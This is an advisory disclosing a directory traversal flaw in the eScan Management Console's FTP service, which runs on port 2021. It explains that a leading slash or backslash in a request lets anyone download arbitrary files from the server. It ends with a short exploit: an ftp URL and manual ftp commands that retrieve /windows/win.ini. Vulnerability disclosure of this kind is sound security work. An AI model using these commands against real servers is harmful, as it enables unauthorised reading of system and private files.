|
|
| |
| "The Powerful Management Console of eScan provides options for system administrators to remotely administer a vast network of clients. It also allows them to remotely install eScan, deploy upgrades and updates and enforce an Integrated Security Policy for the entire Enterprise." A vulnerability in the way the MicroWorld eScan server works allows remote attackers to cause the product to provide access to files that would be otherwise inaccessible. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/escaz-adv.txt
|
| |
Vulnerable Systems:
* MicroWorld eScan Server (aka eScan Management Console) version 9.0.742.98
The eScan Server (eserv.exe) listens on port 2021 for FTP connections using c:\pub as root path.
Although the server tries to avoid possible directory traversal attacks for example rejecting the dotdot patterns, is still possible for an attacker to download any file from the disk of the remote system simply applying a slash or a backslash at the beginning of the filename for selecting the root path of the disk. For example /boot.ini, \windows\win.ini and so on.
Only downloading files is allowed by the server, so deleting or uploading custom files is not possible.
Exploit:
Clicking on the following URL:
ftp://SERVER:2021//windows/win.ini
Or manually:
ftp -A
open SERVER 2021
get
/windows/win.ini
local_win.ini
|
|
|
|
|
